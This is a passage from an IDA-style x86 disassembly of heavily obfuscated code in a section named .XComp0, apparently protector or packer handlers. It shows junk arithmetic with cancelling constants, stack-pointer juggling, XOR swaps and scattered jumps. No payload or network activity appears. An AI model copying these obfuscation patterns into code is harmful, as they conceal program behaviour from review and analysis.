; ---------------------------------------------------------------------------


loc_58D14F:				; CODE XREF: .XComp0:00595AC0j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_591B9C
; ---------------------------------------------------------------------------


loc_58D160:				; CODE XREF: .XComp0:00587EE4j
		pop	ecx
		push	ebx
		jmp	loc_598BDF
; ---------------------------------------------------------------------------


loc_58D167:				; CODE XREF: .XComp0:005864C7j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 2
		add	eax, edx
		jmp	loc_58C4DE
; ---------------------------------------------------------------------------


loc_58D188:				; CODE XREF: .XComp0:00596953j
		push	ebx
		jmp	loc_58720F
; ---------------------------------------------------------------------------


loc_58D18E:				; CODE XREF: .XComp0:0058661Dj
		pop	edx
		pop	ebp


loc_58D190:				; CODE XREF: .XComp0:005987BEj
		push	52E2h
		mov	[esp], ebx
		push	esi
		mov	esi, 658F71F4h
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		jmp	loc_58870E
; ---------------------------------------------------------------------------


loc_58D1C0:				; CODE XREF: .XComp0:005840A4j
		push	ax
		mov	al, 31h
		push	ecx
		jmp	loc_591982
; ---------------------------------------------------------------------------


loc_58D1CA:				; CODE XREF: .XComp0:00594C9Fj
		push	5A39h
		mov	[esp], ecx
		mov	ch, 1
		jmp	loc_596146
; ---------------------------------------------------------------------------


loc_58D1D9:				; CODE XREF: .XComp0:00593610j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	26C0h
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5867DC
; ---------------------------------------------------------------------------


loc_58D1F5:				; CODE XREF: .XComp0:00590760j
		pop	ebp
		jmp	loc_5916CB
; ---------------------------------------------------------------------------


loc_58D1FB:				; CODE XREF: .XComp0:0058F981j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		add	dword ptr [esp], 1AFC7C3Dh
		pop	ebp
		sub	ebp, 1AFC7C3Dh
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_590347
; ---------------------------------------------------------------------------


loc_58D21F:				; CODE XREF: .XComp0:00585268j
		xor	edi, 2F92767Eh
		dec	edi
		jmp	loc_597FEB
; ---------------------------------------------------------------------------


loc_58D22B:				; CODE XREF: .XComp0:00597049j
		mov	[esp], ecx
		mov	ecx, 8926B72h
		sub	eax, ecx
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4DA70777h
		add	ebx, eax
		pop	eax
		push	esi
		mov	esi, 59A06819h
		sub	ebx, esi
		pop	esi
		sub	ebx, eax
		add	ebx, 59A06819h
		push	4102h
		mov	[esp], edx
		push	60CBh
		mov	[esp], ecx
		mov	ecx, 4DA70777h
		mov	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		push	7C1Dh
		mov	[esp], ebp
		mov	ebp, 3F13142Ah
		push	ebp
		pop	esi
		pop	ebp
		add	esi, 2D591948h
		push	ebp
		mov	ebp, 5DAF6FADh
		add	esi, ebp
		pop	ebp
		push	esi
		not	dword ptr [esp]
		pop	esi
		xor	esi, 4E824CBDh
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 59F44390h
		jmp	loc_590CE6
; ---------------------------------------------------------------------------


loc_58D2B5:				; CODE XREF: .XComp0:0058FB76j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		not	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_589CB9
; ---------------------------------------------------------------------------


loc_58D2CD:				; CODE XREF: .XComp0:00592F7Aj
		shr	ecx, 3
		jmp	loc_5914B5
; ---------------------------------------------------------------------------


loc_58D2D5:				; CODE XREF: .XComp0:005978AEj
		mov	ecx, 283E7625h
		jmp	loc_594434
; ---------------------------------------------------------------------------


loc_58D2DF:				; CODE XREF: .XComp0:0058485Dj
		sub	esi, 3E590187h
		jmp	loc_58D069
; ---------------------------------------------------------------------------


loc_58D2EA:				; CODE XREF: .XComp0:00592AD7j
		add	ebx, 4
		jmp	loc_5877E4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2C65h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_585EA1
; ---------------------------------------------------------------------------


loc_58D319:				; CODE XREF: .XComp0:00588E6Aj
		pop	edi
		sub	eax, esi
		jmp	loc_5917FE
; ---------------------------------------------------------------------------


loc_58D321:				; CODE XREF: .XComp0:00592393j
		pop	esp
		jmp	loc_58AF4F
; ---------------------------------------------------------------------------


loc_58D327:				; CODE XREF: .XComp0:0058BB6Bj
		inc	ecx
		and	ecx, 200E33h
		jmp	loc_598098
; ---------------------------------------------------------------------------


loc_58D333:				; CODE XREF: .XComp0:0058BB1Fj
		add	ebx, 13116D35h
		sub	ebx, edi
		sub	ebx, 13116D35h
		add	ebx, 0AD81973h
		jmp	loc_5852C5
; ---------------------------------------------------------------------------


loc_58D34C:				; CODE XREF: .XComp0:00594686j
		mov	dh, bh
		pop	ebx
		pop	eax
		sub	bl, 10h
		jmp	loc_589EC5
; ---------------------------------------------------------------------------


loc_58D358:				; CODE XREF: .XComp0:0058BC05j
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_59875A
; ---------------------------------------------------------------------------


loc_58D362:				; CODE XREF: .XComp0:00586C4Dj
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		jmp	loc_594504
; ---------------------------------------------------------------------------


loc_58D36E:				; CODE XREF: .XComp0:00592C01j
		add	eax, 48471DAAh
		add	eax, ecx
		jmp	loc_586A4D
; ---------------------------------------------------------------------------


loc_58D37A:				; CODE XREF: .XComp0:00583F90j
		xor	ecx, eax
		pop	eax
		add	edx, ecx
		pop	ecx
		jmp	loc_594B7F
; ---------------------------------------------------------------------------


loc_58D385:				; CODE XREF: .XComp0:00596F00j
		pop	eax
		shr	ecx, 6
		push	60A6h
		jmp	loc_592B29
; ---------------------------------------------------------------------------


loc_58D393:				; CODE XREF: .XComp0:0058CE1Cj
		add	ebp, esi
		pop	esi
		push	994h
		mov	[esp], edx
		mov	edx, 0B5F5779h
		and	ebp, edx
		jmp	loc_589188
; ---------------------------------------------------------------------------


loc_58D3AA:				; CODE XREF: .XComp0:00590B5Bj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58D3B3:				; CODE XREF: .XComp0:00587C77j
		pop	edi
		add	ebx, ecx
		mov	ecx, [esp]
		push	ebx
		jmp	loc_58A4CC
; ---------------------------------------------------------------------------


loc_58D3BF:				; CODE XREF: .XComp0:00583FA6j
		xor	esi, ebx
		pop	ebx
		jmp	loc_595D09
; ---------------------------------------------------------------------------


loc_58D3C7:				; CODE XREF: .XComp0:0058DE68j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_58EA3A
; ---------------------------------------------------------------------------


loc_58D3DA:				; CODE XREF: .XComp0:005870F7j
		push	eax
		push	ebp
		pop	eax
		pop	ebp
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		xchg	eax, ebp
		shl	eax, 7
		jmp	loc_5840F9
; ---------------------------------------------------------------------------


loc_58D3ED:				; CODE XREF: .XComp0:0058DBFAj
		mov	ebp, 21714A3Ah
		sub	ebp, edx
		pop	edx
		sub	ebx, 2A5B6883h
		sub	ebx, ebp
		add	ebx, 2A5B6883h
		jmp	loc_58B991
; ---------------------------------------------------------------------------


loc_58D408:				; CODE XREF: .XComp0:00588F7Bj
		and	edx, ebp
		pop	ebp
		push	1E37h
		jmp	loc_5981CA
; ---------------------------------------------------------------------------


loc_58D415:				; CODE XREF: .XComp0:00597990j
		mul	cx
		push	small 404Eh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58D428:				; CODE XREF: .XComp0:00587DF9j
		bswap	eax
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_595234
; ---------------------------------------------------------------------------


loc_58D435:				; CODE XREF: .XComp0:0058EA3Ej
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	70DDh
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		push	ebp
		mov	ebp, 1B39334Fh
		mov	eax, 1B39334Bh
		xor	eax, ebp
		pop	ebp
		add	ebx, eax
		pop	eax
		sub	ebx, 4
		jmp	loc_590600
; ---------------------------------------------------------------------------


loc_58D469:				; CODE XREF: .XComp0:00591366j
		push	5D7Dh
		mov	[esp], edi
		jmp	loc_593AAC
; ---------------------------------------------------------------------------


loc_58D476:				; CODE XREF: .XComp0:00597ABAj
		push	eax
		pop	ecx
		push	3533h
		mov	[esp], ecx
		add	dword ptr [esp], 3E003001h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	edx, 3E003001h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_58F5EC
; ---------------------------------------------------------------------------


loc_58D4AE:				; CODE XREF: .XComp0:0058EC91j
		push	ebx
		mov	ebx, 134A7F39h
		sub	ebx, 0A1CE03F2h
		jmp	loc_58DB68
; ---------------------------------------------------------------------------


loc_58D4BF:				; CODE XREF: .XComp0:00596141j
		mov	esi, 69810A8Eh
		add	eax, esi
		pop	esi
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5891DE
; ---------------------------------------------------------------------------


loc_58D4D2:				; CODE XREF: .XComp0:00592AEBj
		mov	ecx, 4AD524D5h
		add	ecx, 76621F88h
		neg	ecx
		add	ecx, 0C1374461h
		jmp	loc_5878FB
; ---------------------------------------------------------------------------


loc_58D4EA:				; CODE XREF: .XComp0:005886F5j
		xor	dh, ah
		jmp	loc_593A6C
; ---------------------------------------------------------------------------


loc_58D4F1:				; CODE XREF: .XComp0:0058AB22j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_591E15
; ---------------------------------------------------------------------------


loc_58D507:				; CODE XREF: .XComp0:00586542j
		sub	ch, 20h
		inc	ch
		jmp	loc_588DF8
; ---------------------------------------------------------------------------


loc_58D511:				; CODE XREF: .XComp0:00588BAFj
		mov	[esp], ecx
		mov	ecx, 3FEA043Eh
		shl	ecx, 2
		push	ebp
		mov	ebp, 2286465Fh
		add	ecx, ebp
		pop	ebp
		neg	ecx
		and	ecx, 598A452Ch
		jmp	loc_591C02
; ---------------------------------------------------------------------------


loc_58D532:				; CODE XREF: .XComp0:00596D21j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx
		jmp	loc_5881E7
; ---------------------------------------------------------------------------


loc_58D543:				; CODE XREF: .XComp0:0059659Cj
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	5DDFh
		jmp	loc_58BB83
; ---------------------------------------------------------------------------


loc_58D554:				; CODE XREF: .XComp0:005941B8j
		pop	ebx
		push	ebx
		mov	bl, ah
		mov	dh, bl
		pop	ebx
		pop	eax
		jmp	loc_594804
; ---------------------------------------------------------------------------


loc_58D561:				; CODE XREF: .XComp0:00590B6Dj
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, 1EAD67D6h
		add	eax, edi
		sub	eax, 1EAD67D6h
		pop	edi
		xchg	eax, [esp]
		pop	esp
		xchg	ebp, [esp]
		jmp	loc_596378
; ---------------------------------------------------------------------------


loc_58D587:				; CODE XREF: .XComp0:005908A8j
		xchg	ah, dl
		push	ax
		push	edx
		jmp	loc_58CE63
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	6EDFh
		mov	[esp], ebp
		push	4622h
		mov	[esp], edx
		push	4C396622h
		mov	edx, [esp]
		push	43Ah
		jmp	loc_5905D6
; ---------------------------------------------------------------------------


loc_58D5B6:				; CODE XREF: .XComp0:005942BBj
		add	eax, ebp
		add	eax, 0FC10530h
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58C620
; ---------------------------------------------------------------------------


loc_58D5CE:				; CODE XREF: .XComp0:0058D840j
		push	6CFEh
		mov	[esp], edx
		mov	edx, 38AB6614h
		add	edx, 41B95F60h
		add	edx, 859B3A90h
		jmp	loc_595875
; ---------------------------------------------------------------------------


loc_58D5EC:				; CODE XREF: .XComp0:0059629Aj
		pop	ecx
		jmp	loc_58788A
; ---------------------------------------------------------------------------


loc_58D5F2:				; CODE XREF: .XComp0:00597683j
		not	ebp
		sub	ebp, 0FFFFFFFFh
		xor	ebp, 0C68525h
		add	eax, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 2A7247EDh
		jmp	loc_590E63
; ---------------------------------------------------------------------------


loc_58D626:				; CODE XREF: .XComp0:005969BDj
		add	ebp, 4
		jmp	loc_583A92
; ---------------------------------------------------------------------------


loc_58D631:				; CODE XREF: .XComp0:00594187j
		push	esi
		push	239F1C1Eh
		jmp	loc_58F314
; ---------------------------------------------------------------------------


loc_58D63C:				; CODE XREF: .XComp0:0058A606j
		push	7C54h
		mov	[esp], edi
		mov	edi, 4
		add	[esp+4], edi
		mov	edi, [esp]
		jmp	loc_59063C
; ---------------------------------------------------------------------------


loc_58D655:				; CODE XREF: .XComp0:00588762j
		pop	eax
		pop	cx
		jmp	loc_5866C6
; ---------------------------------------------------------------------------


loc_58D65D:				; CODE XREF: .XComp0:00585547j
		shl	bh, 8
		neg	bh
		sub	bh, 0DAh
		jmp	loc_5950D7
; ---------------------------------------------------------------------------


loc_58D66A:				; CODE XREF: .XComp0:0058AEBCj
		mov	[esp], esp
		jmp	loc_58F2A7
; ---------------------------------------------------------------------------


loc_58D672:				; CODE XREF: .XComp0:00584A83j
		add	ebx, ecx
		sub	ebx, 4E4635DAh
		jmp	loc_58B22C
; ---------------------------------------------------------------------------


loc_58D67F:				; CODE XREF: .XComp0:00593544j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	39A3h
		jmp	loc_591A9D
; ---------------------------------------------------------------------------


loc_58D693:				; CODE XREF: .XComp0:0058F306j
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5958E3
; ---------------------------------------------------------------------------


loc_58D6A4:				; CODE XREF: .XComp0:0058C087j
		sub	edx, 34801A76h
		jmp	loc_58E8DB
; ---------------------------------------------------------------------------


loc_58D6AF:				; CODE XREF: .XComp0:0059258Bj
		pop	ecx
		sub	esp, 2
		mov	[esp], dx
		mov	dh, 16h
		sub	al, dh
		pop	dx
		sub	al, 0F7h
		pop	bx
		push	ax
		mov	ah, 61h
		sub	bl, 47h
		sub	bl, 6Dh
		jmp	loc_590B3E
; ---------------------------------------------------------------------------


loc_58D6D3:				; CODE XREF: .XComp0:0058942Ej
		add	ecx, edx
		jmp	loc_593B3C
; ---------------------------------------------------------------------------


loc_58D6DA:				; CODE XREF: .XComp0:00595AF8j
		push	2839h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_585B5D
; ---------------------------------------------------------------------------


loc_58D6EC:				; CODE XREF: .XComp0:00590925j
		pop	dword ptr [edi+24h]
		shr	dword ptr [edi+24h], 6
		sub	dword ptr [edi+24h], 0FFFFFFFFh
		push	ebp
		jmp	loc_58A7E8
; ---------------------------------------------------------------------------


loc_58D700:				; CODE XREF: .XComp0:0058C690j
		inc	esi
		add	esi, 7A12A3BCh
		or	edi, esi
		pop	esi
		push	esi
		jmp	loc_5951D2
; ---------------------------------------------------------------------------


loc_58D710:				; CODE XREF: .XComp0:005872BAj
		not	dword ptr [esp]
		pop	esi
		sub	esi, 0A6644EE8h
		sub	eax, 2D372948h
		jmp	loc_586231
; ---------------------------------------------------------------------------


loc_58D724:				; CODE XREF: .XComp0:0058A7CCj
		mov	al, bh
		mov	dl, al
		pop	eax
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5900F6
; ---------------------------------------------------------------------------


loc_58D740:				; CODE XREF: .XComp0:0058E27Fj
		mov	ebx, 0D03479Ch
		xor	ebx, 346F71B9h
		push	ecx
		mov	ecx, 4A5D584Ah
		xor	ecx, 3A9FE800h
		sub	ebx, 76B74C8Bh
		add	ebx, ecx
		add	ebx, 76B74C8Bh
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, ebx
		pop	ebx
		sub	edi, esi
		jmp	loc_5870EC
; ---------------------------------------------------------------------------


loc_58D775:				; CODE XREF: .XComp0:0058FC12j
		push	78AAh
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_58EB6C
; ---------------------------------------------------------------------------


loc_58D788:				; CODE XREF: .XComp0:0058C465j
		shr	dl, 3
		inc	dl
		neg	dl
		jmp	loc_592E73
; ---------------------------------------------------------------------------


loc_58D794:				; CODE XREF: .XComp0:00584DB9j
		push	45CFh
		mov	[esp], ebx
		jmp	loc_586C5B
; ---------------------------------------------------------------------------


loc_58D7A1:				; CODE XREF: .XComp0:0059417Bj
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5934D6
; ---------------------------------------------------------------------------


loc_58D7B2:				; CODE XREF: .XComp0:00594061j
		sub	ch, 0D5h
		sub	al, ch
		jmp	loc_593735
; ---------------------------------------------------------------------------


loc_58D7BC:				; CODE XREF: .XComp0:005897A9j
		pop	esi
		jmp	loc_588A4C
; ---------------------------------------------------------------------------


loc_58D7C2:				; CODE XREF: .XComp0:0058507Bj
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_584E18
; ---------------------------------------------------------------------------


loc_58D7E2:				; CODE XREF: .XComp0:0058ACEFj
		mov	edx, 4235783Eh
		neg	edx
		xor	edx, 46AD5B23h
		sub	esi, edx
		pop	edx
		sub	ebx, 357E42BEh
		sub	ebx, esi
		add	ebx, 357E42BEh
		pop	esi
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58D806:				; CODE XREF: .XComp0:00593568j
		sub	edi, 13433172h
		push	edi
		xor	dword ptr [esp], 60B738F9h
		jmp	loc_58C4B5
; ---------------------------------------------------------------------------


loc_58D819:				; CODE XREF: .XComp0:0059770Aj
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58694F
; ---------------------------------------------------------------------------


loc_58D827:				; CODE XREF: .XComp0:00587D33j
		add	esi, 2
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58A72E
; ---------------------------------------------------------------------------


loc_58D838:				; CODE XREF: .XComp0:0058A152j
		mov	edi, esp
		add	edi, 4
		jmp	loc_58D5CE
; ---------------------------------------------------------------------------


loc_58D845:				; CODE XREF: .XComp0:005864E9j
		not	eax
		xchg	eax, [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	edi, ebx
		xor	ebx, edi
		jmp	loc_5872CD
; ---------------------------------------------------------------------------


loc_58D85A:				; CODE XREF: .XComp0:00597FB1j
		sub	al, 7Eh
		add	al, cl
		add	al, 7Eh
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58A56F
; ---------------------------------------------------------------------------


loc_58D874:				; CODE XREF: .XComp0:005848A9j
		mov	[esp], ecx
		push	edx
		push	ebx
		mov	ebx, 4C066521h
		mov	edx, 173DCF39h
		add	edx, ebx
		pop	ebx
		shl	edx, 5
		and	edx, 3A8B045Fh
		neg	edx
		shl	edx, 1
		jmp	loc_58B687
; ---------------------------------------------------------------------------


loc_58D898:				; CODE XREF: .XComp0:00593708j
		pop	small word ptr [esp]
		push	si
		push	cx
		mov	cx, 2
		push	cx
		sub	word ptr [esp],	1836h
		mov	si, [esp]
		add	esp, 2
		add	si, 1836h
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_590ABF
; ---------------------------------------------------------------------------


loc_58D8C4:				; CODE XREF: .XComp0:00597966j
		mov	[esp], esi
		push	ebp
		jmp	loc_58A7B1
; ---------------------------------------------------------------------------


loc_58D8CD:				; CODE XREF: .XComp0:0058B8A5j
		pop	eax
		push	ebx
		push	4A59h
		mov	[esp], ebp
		push	esi
		mov	esi, 59216692h
		mov	ebp, esi
		pop	esi
		add	ebp, 0BB5C12A2h
		mov	ebx, ebp
		pop	ebp
		or	ebx, 63832AF1h
		xor	ebx, 77FF7BF1h
		add	eax, ebx
		mov	ebx, [esp]
		push	ebx
		jmp	loc_585FF3
; ---------------------------------------------------------------------------


loc_58D900:				; CODE XREF: .XComp0:005956F5j
		mov	[esp], ecx
		jmp	loc_58559F
; ---------------------------------------------------------------------------


loc_58D908:				; CODE XREF: .XComp0:00586C56j
		mov	edx, esp
		jmp	loc_584183
; ---------------------------------------------------------------------------


loc_58D90F:				; CODE XREF: .XComp0:0058B574j
		mov	cl, 0F2h
		sub	bl, 8Ah
		sub	bl, cl
		jmp	loc_584DA2
; ---------------------------------------------------------------------------


loc_58D91B:				; CODE XREF: .XComp0:00594E5Aj
		add	esp, 4
		push	ecx
		mov	ecx, 2EC611D0h
		xor	ecx, 43CC6AE9h
		push	ebx
		mov	ebx, 27852EB9h
		jmp	loc_594552
; ---------------------------------------------------------------------------


loc_58D935:				; CODE XREF: .XComp0:00596B51j
		xor	ebx, ebp
		pop	ebp
		and	ecx, ebx
		pop	ebx
		shr	ecx, 0Bh
		jmp	loc_59011C
; ---------------------------------------------------------------------------


loc_58D943:				; CODE XREF: .XComp0:005875B5j
		or	ebx, ecx
		pop	ecx
		jmp	loc_5918DE
; ---------------------------------------------------------------------------


loc_58D94B:				; CODE XREF: .XComp0:00596C64j
		sub	esi, 28585960h
		add	esi, edi
		add	esi, 28585960h
		add	esi, 24A33619h
		pop	edi
		add	esi, 2
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58DB1D
; ---------------------------------------------------------------------------


loc_58D979:				; CODE XREF: .XComp0:00587519j
		push	esi
		jmp	loc_594A68
; ---------------------------------------------------------------------------


loc_58D97F:				; CODE XREF: .XComp0:0058B148j
		pop	edx
		jmp	loc_591274
; ---------------------------------------------------------------------------


loc_58D985:				; CODE XREF: .XComp0:00592CF1j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		jmp	loc_58C832
; ---------------------------------------------------------------------------


loc_58D99F:				; CODE XREF: .XComp0:0058DDFDj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 0F633929h
		sub	ebx, 0F633925h
		add	ebp, ebx
		pop	ebx
		push	5A2Eh
		mov	[esp], esi
		mov	esi, 2
		add	ebp, 51C46CE8h
		add	ebp, esi
		push	eax
		push	edx
		push	esi
		mov	esi, 77DC67C2h
		sub	esi, 561E0DD3h
		mov	edx, esi
		pop	esi
		mov	eax, 0EB5B25C2h
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_596E6C
; ---------------------------------------------------------------------------


loc_58D9EB:				; CODE XREF: .XComp0:0058AD09j
		mov	[esp], ecx
		push	6DA0h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_58B90F
; ---------------------------------------------------------------------------


loc_58DA01:				; CODE XREF: .XComp0:0058EA67j
		mov	ecx, 46B13349h
		add	ecx, 1
		jmp	loc_590666
; ---------------------------------------------------------------------------


loc_58DA11:				; CODE XREF: .XComp0:0058574Aj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 72035C2Bh
		jmp	loc_58B12A
; ---------------------------------------------------------------------------


loc_58DA2D:				; CODE XREF: .XComp0:0058D121j
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	5DD1h
		mov	[esp], eax
		mov	eax, 2
		jmp	loc_58947C
; ---------------------------------------------------------------------------


loc_58DA4C:				; CODE XREF: .XComp0:0058F758j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	66CC7ACCh
		pop	edi
		push	esi
		mov	esi, 0A911B7Ah
		jmp	loc_58C681
; ---------------------------------------------------------------------------


loc_58DA64:				; CODE XREF: .XComp0:00583F3Ej
		pop	ecx
		push	cx
		mov	ch, 0D6h
		sub	dl, 6Eh
		jmp	loc_58DD0B
; ---------------------------------------------------------------------------


loc_58DA71:				; CODE XREF: .XComp0:00591CCEj
		and	[esp], eax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58DA7A:				; CODE XREF: .XComp0:0059635Bj
		inc	ch
		shr	ch, 6
		sub	ch, 67h
		add	bl, ch
		mov	ecx, [esp]
		jmp	loc_5907AA
; ---------------------------------------------------------------------------


loc_58DA8C:				; CODE XREF: .XComp0:005949F1j
		neg	edi
		add	edi, 21ED5C00h
		xor	edi, 0AE550B42h
		sub	eax, edi
		pop	edi
		push	47D0h
		jmp	loc_58A0F0
; ---------------------------------------------------------------------------


loc_58DAA7:				; CODE XREF: .XComp0:00597E27j
		push	2D8Eh
		mov	[esp], edx
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2
		add	esi, edx
		push	dword ptr [esp]
		jmp	loc_5964FE
; ---------------------------------------------------------------------------


loc_58DACC:				; CODE XREF: .XComp0:00596F13j
		push	edi
		jmp	loc_587E04
; ---------------------------------------------------------------------------


loc_58DAD2:				; CODE XREF: .XComp0:00594029j
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	7F96h
		mov	[esp], eax
		mov	eax, 2
		push	eax
		mov	eax, 70425D12h
		add	edi, eax
		pop	eax
		add	edi, eax
		sub	edi, 70425D12h
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_58B107
; ---------------------------------------------------------------------------


loc_58DB0D:				; CODE XREF: .XComp0:00585BC1j
		mov	[esp], eax
		mov	al, 41h
		jmp	loc_5881F4
; ---------------------------------------------------------------------------


loc_58DB17:				; CODE XREF: .XComp0:0058A091j
		pop	esi
		jmp	loc_5949D7
; ---------------------------------------------------------------------------


loc_58DB1D:				; CODE XREF: .XComp0:0058D974j
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58DB2D:				; CODE XREF: .XComp0:005871B8j
		pop	esi
		jmp	loc_584229
; ---------------------------------------------------------------------------


loc_58DB33:				; CODE XREF: .XComp0:0058929Cj
		or	eax, eax
		jz	loc_58452E
		push	0BAAh
		mov	[esp], edx
		push	ecx
		push	esi
		mov	esi, 6FD4184Fh
		inc	esi
		jmp	loc_58DFA2
; ---------------------------------------------------------------------------


loc_58DB50:				; CODE XREF: .XComp0:0058421Bj
		sub	ecx, 4
		jmp	loc_58B949
; ---------------------------------------------------------------------------


loc_58DB5B:				; CODE XREF: .XComp0:005958DEj
		add	ebp, 24F721Eh
		add	ebp, esi
		jmp	loc_583A78
; ---------------------------------------------------------------------------


loc_58DB68:				; CODE XREF: .XComp0:0058D4BAj
		shr	ebx, 1
		push	ecx
		push	1E34h
		jmp	loc_591E57
; ---------------------------------------------------------------------------


loc_58DB75:				; CODE XREF: .XComp0:00595AA6j
		push	ebp
		push	eax
		jmp	loc_58A74D
; ---------------------------------------------------------------------------


loc_58DB7C:				; CODE XREF: .XComp0:00584FA1j
		sub	bh, 0A9h
		shr	bh, 2
		shl	bh, 2
		jmp	loc_589829
; ---------------------------------------------------------------------------


loc_58DB8A:				; CODE XREF: .XComp0:0058B115j
		push	ebp
		mov	ebp, 2
		add	eax, ebp
		pop	ebp
		jmp	loc_5893B9
; ---------------------------------------------------------------------------


loc_58DB98:				; CODE XREF: .XComp0:00588066j
		push	ebx
		mov	bl, 0FAh
		add	ch, bl
		pop	ebx
		jmp	loc_58448F
; ---------------------------------------------------------------------------


loc_58DBA3:				; CODE XREF: .XComp0:0058E056j
		mov	ebx, 64613B67h
		mov	ecx, ebx
		jmp	loc_5935DC
; ---------------------------------------------------------------------------


loc_58DBAF:				; CODE XREF: .XComp0:0058E361j
		add	ecx, 5A772772h
		add	ecx, edx
		sub	ecx, 5A772772h
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 4
		jmp	loc_584603
; ---------------------------------------------------------------------------


loc_58DBCD:				; CODE XREF: .XComp0:00583D9Aj
		add	esp, 4
		add	dword ptr [edx+30h], 0A9119ED7h
		jmp	loc_597126
; ---------------------------------------------------------------------------


loc_58DBDC:				; CODE XREF: .XComp0:0058611Ej
		add	eax, 770E1C92h
		sub	eax, ebx
		push	ebx
		push	edx
		jmp	loc_59526C
; ---------------------------------------------------------------------------


loc_58DBEA:				; CODE XREF: .XComp0:0058E8EEj
		mov	ebp, ebx
		pop	ebx
		push	ebx
		mov	ebx, 3D765A58h
		push	ebp
		push	edx
		mov	edx, 21714A3Bh
		jmp	loc_58D3ED
; ---------------------------------------------------------------------------


loc_58DBFF:				; CODE XREF: .XComp0:0058B561j
		add	esp, 4
		jmp	loc_597C67
